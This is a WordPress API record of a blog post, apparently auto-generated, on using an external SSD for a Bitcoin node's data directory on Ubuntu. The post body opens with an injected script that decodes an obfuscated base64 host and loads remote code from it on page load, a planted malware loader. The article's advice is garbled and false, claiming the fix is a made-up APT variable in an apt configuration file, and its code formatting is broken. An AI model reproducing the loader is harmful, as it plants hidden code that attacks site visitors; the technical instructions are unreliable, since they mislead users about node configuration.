{"id":21092,"date":"2025-02-13T10:10:33","date_gmt":"2025-02-13T10:10:33","guid":{"rendered":"https:\/\/en.ppottina.com\/?p=21092"},"modified":"2025-02-13T10:10:33","modified_gmt":"2025-02-13T10:10:33","slug":"bitcoin-unable-to-use-external-ssd-for-bitcoin-datadir-in-ubuntu","status":"publish","type":"post","link":"https:\/\/en.ppottina.com\/?p=21092","title":{"rendered":"Bitcoin: Unable to use external SSD for Bitcoin datadir in Ubuntu"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=93300c52\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here is the article:<\/p>\n<p><strong>Cannot use external SSD for Bitcoin data directory on Ubuntu<\/strong><\/p>\n<p><iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/N7s1o_d3Q_0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>As a Bitcoin enthusiast and a beginner with a full node setup on Ubuntu, I have come across a frustrating issue that has been plaguing my system. After setting up an external SSD drive to store the entire Bitcoin blockchain, I was eager to explore ways to optimize my data. However, every attempt to use it as the data directory (directory) for my Bitcoin node has ended in failure.<\/p>\n<p><strong>Problem<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Bitcoin: Unable to use external SSD for Bitcoin datadir in Ubuntu\n\" src=\"https:\/\/en.ppottina.com\/wp-content\/uploads\/2025\/02\/1a23e2f7.png\"><\/p>\n<p>When you install a full node on Ubuntu, you need to specify a datadir where your node will store its Bitcoin data. The default data directory is usually located at <code>\/var\/lib\/mysqld<\/code> or <code>\/var\/lib\/bitcoin<\/code>, but on a full node, we want to use an external drive specifically designed for storing large data sets, such as the entire blockchain. This can be an SSD drive separate from the host machine.<\/p>\n<p><strong>Solution<\/strong><\/p>\n<p>After some research and experimentation, I found that setting the datadir directory using command line options is not enough to solve this problem. To overcome this obstacle, we need to manually configure the data storage for the entire node.<\/p>\n<p>Here are the steps to fix this problem:<\/p>\n<ul>\n<li><strong>Edit the <code>\/etc\/apt\/apt.conf.d\/50-cloud-init<\/code> file<\/strong>: This file controls the configuration of the Ubuntu system and can be used to set external drives as primary or secondary storage.<\/li>\n<\/ul>\n<ul>\n<li><strong>Set the APT_STORAGE_PREFIX variable<\/strong>: Add the following line to the \/etc\/apt\/apt.conf.d\/50-cloud-init file: APT_STORAGE_PREFIX=\/mnt\/bitcoin. Replace <code>\/mnt\/bitcoin' with the path to your external SSD drive.<\/li>\n<\/ul>\n<ul>\n<li><strong>Update APT<\/strong>: Run<\/code>sudo apt update<code>in the terminal to ensure you have the latest package lists.<\/li>\n<\/ul>\n<p><strong>Additional Tips<\/strong><\/p>\n<ul>\n<li>Make sure to create a dedicated user for your entire node, e.g. \"bitcoin\", and set their home directory to \"\/home\/bitcoin\".<\/li>\n<\/ul>\n<ul>\n<li>Update the package list using<\/code>sudo apt upgrade<code>or<\/code>sudo apt full-upgrade` to ensure that all outdated packages are removed.<\/li>\n<\/ul>\n<ul>\n<li>If you are using a different storage device (e.g. LVM partition), be sure to update the \/etc\/apt\/apt.conf.d\/50-cloud-init file accordingly.<\/li>\n<\/ul>\n<p><strong>Conclusion<\/strong><\/p>\n<p>In this article, we have explored the issue of using external SSD drives for Bitcoin datadir on Ubuntu and provided a solution. By editing \/etc\/apt\/apt.conf.d\/50-cloud-init and updating APT, you can ensure that your node&#8217;s entire data store is optimized for large datasets, such as the Bitcoin blockchain.<\/p>\n<p>I hope this helps other Bitcoin enthusiasts and Ubuntu users overcome this frustrating problem!<\/p>\n<p><a href=\"https:\/\/lizkur.com\/ethereum-can-an-address-have-negative-balance\/\">ethereum address have balance<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is the article: Cannot use external SSD for Bitcoin data directory on Ubuntu As a Bitcoin enthusiast and a<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[100],"tags":[],"class_list":["post-21092","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts\/21092","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21092"}],"version-history":[{"count":0,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts\/21092\/revisions"}],"wp:attachment":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21092"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21092"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21092"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}